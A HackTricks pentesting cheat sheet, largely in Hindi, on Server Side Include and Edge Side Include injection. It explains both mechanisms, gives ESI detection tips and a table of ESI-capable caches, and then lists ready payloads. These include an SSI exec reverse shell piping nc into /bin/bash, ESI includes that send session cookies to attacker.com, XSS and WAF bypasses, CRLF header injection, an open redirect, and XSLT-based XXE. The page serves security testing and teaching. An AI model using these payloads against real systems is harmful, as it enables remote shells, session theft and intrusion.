hacktricks/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md

14 KiB

Server Side Inclusion/Edge Side Inclusion Injection

{{#include ../banners/hacktricks-training.md}}

Server Side Inclusion Basic Information

(Introduction taken from Apache docs)

SSI (Server Side Includes) निर्देश हैं जो HTML पृष्ठों में रखे जाते हैं, और सर्वर पर मूल्यांकित होते हैं जब पृष्ठों को परोसा जा रहा होता है। ये आपको एक मौजूदा HTML पृष्ठ में गतिशील रूप से उत्पन्न सामग्री जोड़ने की अनुमति देते हैं, बिना पूरे पृष्ठ को CGI प्रोग्राम या अन्य गतिशील तकनीक के माध्यम से परोसने की आवश्यकता के।
उदाहरण के लिए, आप एक मौजूदा HTML पृष्ठ में एक निर्देश रख सकते हैं, जैसे:

<!--#echo var="DATE_LOCAL" -->

और, जब पृष्ठ परोसा जाता है, तो यह अंश मूल्यांकित किया जाएगा और इसके मान से प्रतिस्थापित किया जाएगा:

Tuesday, 15-Jan-2013 19:28:54 EST

SSI का उपयोग कब करना है, और कब आपके पृष्ठ को पूरी तरह से किसी प्रोग्राम द्वारा उत्पन्न किया जाना है, यह आमतौर पर इस बात का मामला होता है कि पृष्ठ का कितना हिस्सा स्थिर है, और कितना हर बार पृष्ठ परोसने पर पुनः गणना करने की आवश्यकता है। SSI छोटी जानकारी के टुकड़े जोड़ने का एक शानदार तरीका है, जैसे कि वर्तमान समय - जो ऊपर दिखाया गया है। लेकिन यदि आपके पृष्ठ का अधिकांश भाग उस समय उत्पन्न हो रहा है जब इसे परोसा जा रहा है, तो आपको किसी अन्य समाधान की तलाश करनी होगी।

आप SSI की उपस्थिति का अनुमान लगा सकते हैं यदि वेब एप्लिकेशन उन फ़ाइलों का उपयोग करता है जिनका एक्सटेंशनs.shtml, .shtm या .stm है, लेकिन यह केवल यही मामला नहीं है।

एक सामान्य SSI अभिव्यक्ति का निम्नलिखित प्रारूप होता है:

<!--#directive param="value" -->

जांचें

// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

Edge Side Inclusion

एक समस्या जानकारी या गतिशील अनुप्रयोगों को कैश करना है क्योंकि सामग्री का एक भाग अगले बार जब सामग्री को पुनः प्राप्त किया जाता है तो भिन्न हो सकता है। यही कारण है कि ESI का उपयोग किया जाता है, ESI टैग का उपयोग करके यह संकेत करने के लिए कि गतिशील सामग्री जो उत्पन्न की जानी चाहिए उसे कैश संस्करण भेजने से पहले उत्पन्न किया जाना चाहिए।
यदि एक हमलावर कैश सामग्री के अंदर एक ESI टैग इंजेक्ट करने में सक्षम है, तो वह दस्तावेज़ पर मनमाना सामग्री इंजेक्ट करने में सक्षम हो सकता है इससे पहले कि इसे उपयोगकर्ताओं को भेजा जाए।

ESI Detection

सर्वर से प्रतिक्रिया में निम्नलिखित हेडर का अर्थ है कि सर्वर ESI का उपयोग कर रहा है:

Surrogate-Control: content="ESI/1.0"

यदि आप इस हेडर को नहीं ढूंढ पा रहे हैं, तो सर्वर शायद ESI का उपयोग कर रहा है
एक अंधा शोषण दृष्टिकोण भी उपयोग किया जा सकता है क्योंकि एक अनुरोध हमलावर के सर्वर पर पहुंचना चाहिए:

// Basic detection
hell<!--esi-->o
// If previous is reflected as "hello", it's vulnerable

// Blind detection
<esi:include src=http://attacker.com>

// XSS Exploitation Example
<esi:include src=http://attacker.com/XSSPAYLOAD.html>

// Cookie Stealer (bypass httpOnly flag)
<esi:include src=http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE)>

// Introduce private local files (Not LFI per se)
<esi:include src="supersecret.txt">

// Valid for Akamai, sends debug information in the response
<esi:debug/>

ESI शोषण

GoSecure ने बनाया एक तालिका ताकि हम विभिन्न ESI-सक्षम सॉफ़्टवेयर के खिलाफ संभावित हमलों को समझ सकें, जो समर्थित कार्यक्षमता पर निर्भर करता है:

  • Includes: <esi:includes> निर्देश का समर्थन करता है
  • Vars: <esi:vars> निर्देश का समर्थन करता है। XSS फ़िल्टर को बायपास करने के लिए उपयोगी
  • Cookie: दस्तावेज़ कुकीज़ ESI इंजन के लिए सुलभ हैं
  • Upstream Headers Required: सरोगेट एप्लिकेशन ESI बयानों को संसाधित नहीं करेंगे जब तक कि अपस्ट्रीम एप्लिकेशन हेडर प्रदान न करे
  • Host Allowlist: इस मामले में, ESI शामिल केवल अनुमत सर्वर होस्ट से संभव हैं, जिससे SSRF, उदाहरण के लिए, केवल उन होस्ट के खिलाफ संभव है
सॉफ़्टवेयर Includes Vars Cookies Upstream Headers Required Host Whitelist
Squid3 हाँ हाँ हाँ हाँ नहीं
Varnish Cache हाँ नहीं नहीं हाँ हाँ
Fastly हाँ नहीं नहीं नहीं हाँ
Akamai ESI Test Server (ETS) हाँ हाँ हाँ नहीं नहीं
NodeJS esi हाँ हाँ हाँ नहीं नहीं
NodeJS nodesi हाँ नहीं नहीं नहीं वैकल्पिक

XSS

निम्नलिखित ESI निर्देश सर्वर की प्रतिक्रिया के अंदर एक मनमाना फ़ाइल लोड करेगा

<esi:include src=http://attacker.com/xss.html>

क्लाइंट XSS सुरक्षा को बायपास करें

x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>

Use <!--esi--> to bypass WAFs:
<scr<!--esi-->ipt>aler<!--esi-->t(1)</sc<!--esi-->ript>
<img+src=x+on<!--esi-->error=ale<!--esi-->rt(1)>

कुकी चुराना

  • दूरस्थ कुकी चुराना
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  • XSS के माध्यम से HTTP_ONLY कुकी को चुराना और इसे प्रतिक्रिया में परावर्तित करना:
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
# Reflect XSS (you can put '"><svg/onload=prompt(1)>' URL encoded and the URL encode eveyrhitng to send it in the HTTP request)
<!--esi/$url_decode('"><svg/onload=prompt(1)>')/-->

# It's possible to put more complex JS code to steal cookies or perform actions

निजी स्थानीय फ़ाइल

इसको "स्थानीय फ़ाइल समावेशन" के साथ भ्रमित न करें:

<esi:include src="secret.txt">

CRLF

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

Open Redirect

निम्नलिखित प्रतिक्रिया में Location हेडर जोड़ेगा

<!--esi $add_header('Location','http://attacker.com') -->

हैडर जोड़ें

  • मजबूर अनुरोध में हैडर जोड़ें
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
  • प्रतिक्रिया में हेडर जोड़ें (XSS के साथ "Content-Type: text/json" को बायपास करने के लिए उपयोगी)
<!--esi/$add_header('Content-Type','text/html')/-->

<!--esi/$(HTTP_COOKIE)/$add_header('Content-Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/-->

# Check the number of url_decode to know how many times you can URL encode the value

CRLF in Add header (CVE-2019-2438)

<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>

Akamai debug

यह प्रतिक्रिया में शामिल डिबग जानकारी भेजेगा:

<esi:debug/>

ESI + XSLT = XXE

यह संभव है कि eXtensible Stylesheet Language Transformations (XSLT) सिंटैक्स का उपयोग ESI में केवल dca मान को xslt के रूप में इंगित करके किया जा सके। जो XSLT का दुरुपयोग करके एक XML External Entity भेद्यता (XXE) बनाने और दुरुपयोग करने की अनुमति दे सकता है:

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT फ़ाइल:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

XSLT पृष्ठ की जांच करें:

{{#ref}} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}}

संदर्भ

ब्रूट-फोर्स पहचान सूची

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt {{#endref}}

{{#include ../banners/hacktricks-training.md}}